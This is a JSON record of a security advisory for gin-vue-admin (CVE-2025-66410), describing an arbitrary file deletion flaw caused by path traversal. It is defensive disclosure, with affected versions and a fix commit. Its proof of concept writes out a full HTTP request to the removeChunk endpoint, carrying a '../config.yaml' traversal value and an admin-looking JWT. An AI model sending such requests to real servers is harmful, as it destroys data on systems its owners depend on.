{"schema_version":"1.7.3","id":"GHSA-jrhg-82w2-vvj7","published":"2025-12-02T01:08:48Z","modified":"2025-12-03T19:43:47.214960Z","aliases":["CVE-2025-66410","GO-2025-4171"],"summary":"Gin-vue-admin has an arbitrary file deletion vulnerability","details":"### Impact\nAttackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder\n\n The affected code:\n![image (1)](https://github.com/user-attachments/assets/26eab823-2df8-454a-a42e-a512925d62b6)\n\nAffected interfaces:\n/api/fileUploadAndDownload/removeChunk\n\n\nPOC:\nYou can specify the FileMd5 value as the directory or file you want to delete\n\n```POST /api/fileUploadAndDownload/removeChunk HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 78\nsec-ch-ua: \"Not=A?Brand\";v=\"99\", \"Chromium\";v=\"118\"\nx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36\nContent-Type: application/json\nAccept: application/json, text/plain, */*\nx-user-id: 1\nsec-ch-ua-platform: \"Windows\"\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ\nConnection: close\n\n{\"fileName\":\"ceshi.jpg\",\"fileMd5\":\"../config.yaml\",\"filePath\":\"./fileDir/ceshi.jpg\"}\n```\n![image (2)](https://github.com/user-attachments/assets/aafeb46b-933a-44b6-9fcf-da0f44269e5b)\n\n### Patches\nPlease wait for the latest patch\n\n### References\nhttps://github.com/flipped-aurora/gin-vue-admin","affected":[{"package":{"name":"github.com/flipped-aurora/gin-vue-admin","ecosystem":"Go","purl":"pkg:golang/github.com/flipped-aurora/gin-vue-admin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.1-0.20251201084432-ee8d8d7e04d9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-jrhg-82w2-vvj7/GHSA-jrhg-82w2-vvj7.json"}}],"references":[{"type":"WEB","url":"https://github.com/flipped-aurora/gin-vue-admin/security/advisories/GHSA-jrhg-82w2-vvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66410"},{"type":"WEB","url":"https://github.com/flipped-aurora/gin-vue-admin/commit/ee8d8d7e04d9c38a35a6969f20e75213e84f57c6"},{"type":"PACKAGE","url":"https://github.com/flipped-aurora/gin-vue-admin"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2025-12-02T01:08:48Z","nvd_published_at":"2025-12-01T23:15:53Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}